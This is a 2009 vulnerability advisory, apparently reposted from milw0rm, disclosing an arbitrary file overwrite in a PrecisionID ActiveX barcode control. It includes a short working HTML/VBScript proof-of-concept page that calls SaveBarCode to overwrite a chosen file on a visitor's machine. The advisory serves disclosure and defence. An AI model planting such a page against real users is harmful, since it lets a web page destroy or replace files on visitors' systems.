88 lines
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2.1 KiB
Text
88 lines
No EOL
2.1 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-030
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!!! original advisory !!!
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http://dsecrg.com/pages/vul/DSECRG-09-030.html
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Application: PrecisionID activeX controls
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Versions Affected:
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Vendor URL: http://PrecisionID.com
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Bugs: Arbitrary File overwriting
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Exploits: YES
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Reported: 03.03.2009
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Vendor response: NONE
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Secondly Reported: 17.03.2009
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Vendor response: NONE
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Date of Public Advisory: 31.0300.2009
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Authors:
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Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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PrecisionID have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.
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Details
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*******
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This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite
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any file on OS
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Sub SaveBarCode (
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ByVal path As String
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)
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Sub SaveEnhWMF (
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ByVal path As String
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)
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*******
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Example:
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<html>
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<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
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<script language='vbscript'>
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targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
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prototype = "Sub SaveBarCode ( ByVal path As String )"
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memberName = "SaveBarCode"
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progid = "DMATRIXLib.Datamatrix"
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argCount = 1
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arg1="C:\sh2kerr.pwn"
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target.SaveBarCode arg1
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</script>
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</html>
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Solution
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********
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http://msdn.microsoft.com/en-us/library/aa751977.aspx
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsecrg [dot] com
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http://www.dsecrg.com
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http://www.dsec.ru
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# milw0rm.com [2009-03-31] |